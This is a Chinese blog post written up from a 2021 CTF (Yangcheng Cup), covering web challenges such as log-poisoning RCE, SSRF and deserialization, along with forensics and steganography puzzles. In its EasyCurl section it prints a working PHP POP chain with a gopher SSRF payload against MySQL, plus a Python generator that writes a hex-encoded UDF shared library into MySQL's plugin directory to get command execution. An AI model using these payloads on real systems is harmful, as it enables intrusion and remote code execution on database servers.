CTF Web安全

羊城杯WP

Posted on 2021-09-14，7 min read

前言

校队一个人单排拿了第二，还行，web题除Java外没啥难题。拉不开差距。
这里简单说下java的题解。search fastjson 打jdk原生链子写class

Only 4

include 包含/proc/self/fd/8。指向apache日志。UA头写马RCE

Cross The Side

Laravel Debug 。打FTP被动攻击Redis

Exp之前就写过，具体看我文章

https://guokeya.github.io/post/gS01eEZwU/

用Gophers生成流量写webshell。替换ftp被动端口和base64就行

NO SQL

1day复现，进后台

http://cn-sec.com/archives/335315.html

后台RCE

https://github.com/agentejo/cockpit/issues/1468

蚁剑FFi绕过df

最后就找flag？根目录还有个flag迷惑

图片

Checkin_Go

goland本地跑起来

把这里uname设置成admin。抓包获取到cookie。然后直接去game界面发包。绕过校验

图片

game界面只有一个add可控。图片

会把我们输入的钱再加上flag原有的钱。并且是uint32。最大4294967295

只需要计算4294967295-flag现有钱+1。就能溢出为0

然后购买就行

EasyCurl

扫目录有个app admin.php。是数据库备份。得到管理员密码

登录admin.php。提供一个反序列化数据能加载。然后提示common.php.bak给出了class

构造POP链

<?php
class User
{
    public $username;
    private $password;
    public $personal_intro;
    public $gender;
    public $valid;
    public $session_id='123';
    public $logger;
    public $db_operator;
    public function __construct($username){
        $this->username=$username;
    }
}
class cache_parser
{
    public $user;
    public $user_cache;
    public $default_handler;
    public $logger;
    public function __construct($user,$default_handler)
    {
        $this->user = $user;
        $this->logger = $this;
        $this->default_handler = $default_handler;
    }
}
class file_request{
    public $url;
    private $content;
    public function __construct(){
        $this->url="gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1e%00%00%00%03%73%65%6c%65%63%74%20%73%79%73%5f%65%76%61%6c%28%27%2f%72%65%61%64%66%6c%61%67%27%29%3b%01%00%00%00%01";
    }
}
$file_request=new file_request();
$user2=new User('test');
$cache_parser=new cache_parser($user2,$file_request);
$user=new User($cache_parser);
echo urlencode(serialize($user));

至此可以url可以控制。然后就读file:///proc/net/tcp
读到开启了3306。猜测是打mysql 写文件啥的。

gophers生成exp。攻击后。有security-pri-file

查看限制。发现只能往pluins目录写so

https://www.sqlsec.com/tools/udf.html

代码复制粘贴到gophers

def MySQL():
    print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m"
    user = raw_input("\033[96m" +"\nGive MySQL username: " + "\033[0m")
    encode_user = user.encode("hex")
    user_length = len(user)
    temp = user_length - 4
    length = (chr(0xa3+temp)).encode("hex")

    dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000"
    dump +=  encode_user
    dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c"
    dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d"
    dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"

    query = raw_input("\033[96m" +"Give query to execute: "+ "\033[0m")

    auth = dump.replace("\n","")

    def encode(s):
        a = [s[i:i + 2] for i in range(0, len(s), 2)]
        return "gopher://127.0.0.1:3306/_%" + "%".join(a)



    def get_payload(query):
        query="SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720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0000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/guoke4.so';"
        #query="CREATE FUNCTION sys_eval RETURNS STRING SONAME 'guoke4.so';"
        #query="select sys_eval('/readflag');"
        if(query.strip()!=''):
            query = query.encode("hex")
            query_length = '{:06x}'.format((int((len(query) / 2) + 1)))
            query_length = query_length.decode('hex')[::-1].encode('hex')
            pay1 = query_length + "0003" + query
            final = encode(auth + pay1 + "0100000001")
            return final
        else:
            return encode(auth)

    print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m"
    print "\033[04m" + get_payload(query)+ "\033[0m"
    print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"

生成exp。复制粘贴到pop里就行

Misc签到

签到，图片谐音数字

取证

cmdscan得到

Cmd #0 @ 0x3689ed8: git push -u origin master
Cmd #1 @ 0x566148: ok....
Cmd #2 @ 0x56aa08: then delete .git and flagfile
Cmd #3 @ 0x368a798: You can never find my account
Cmd #4 @ 0x56a580: hahaha!

意思是把flag推到github了。然后.git和flag都删了。
那么就要找github账号。

从删除文件中找到gitconfig没啥用。

filescan得到ssh.txt。里面有openssh的私钥

转一下得到账号名

图片

https://github.com/Ha1f00L/whatsthat

下载APP感觉像是个html。把Sangfor base64一下。去里面得到flag的base64字符串

misc520

import os
for i in range(517,-1,-1):
    os.system('unzip -o '+str(i)+'.zip')
    res=(os.popen('cat story').read())
    if 'LSBSteg' in res:
        pass
    else:
        print(res)

批量解压和查看文件
图片

zsteg -E "b1,bgr,lsb,xy" flag.png > flag.pcag

导出flag.pcap是个zip
里面是USB流量

图片
图片

得到

94
51
134
119
146
130
63
111

组合一下得到

["72","89","75","88","128","93","58","116","76","121","120","63","108","94","51","134","119","146","130","63","111"]

给的hint。把GWHT换成Sangfor。判断flag是GWHT开头
G->71=72-1

W->87=89-2

依次类推

图片

后半部分不对。换一下位置

图片

下一篇： codeIgniter4的两个写文件链子→

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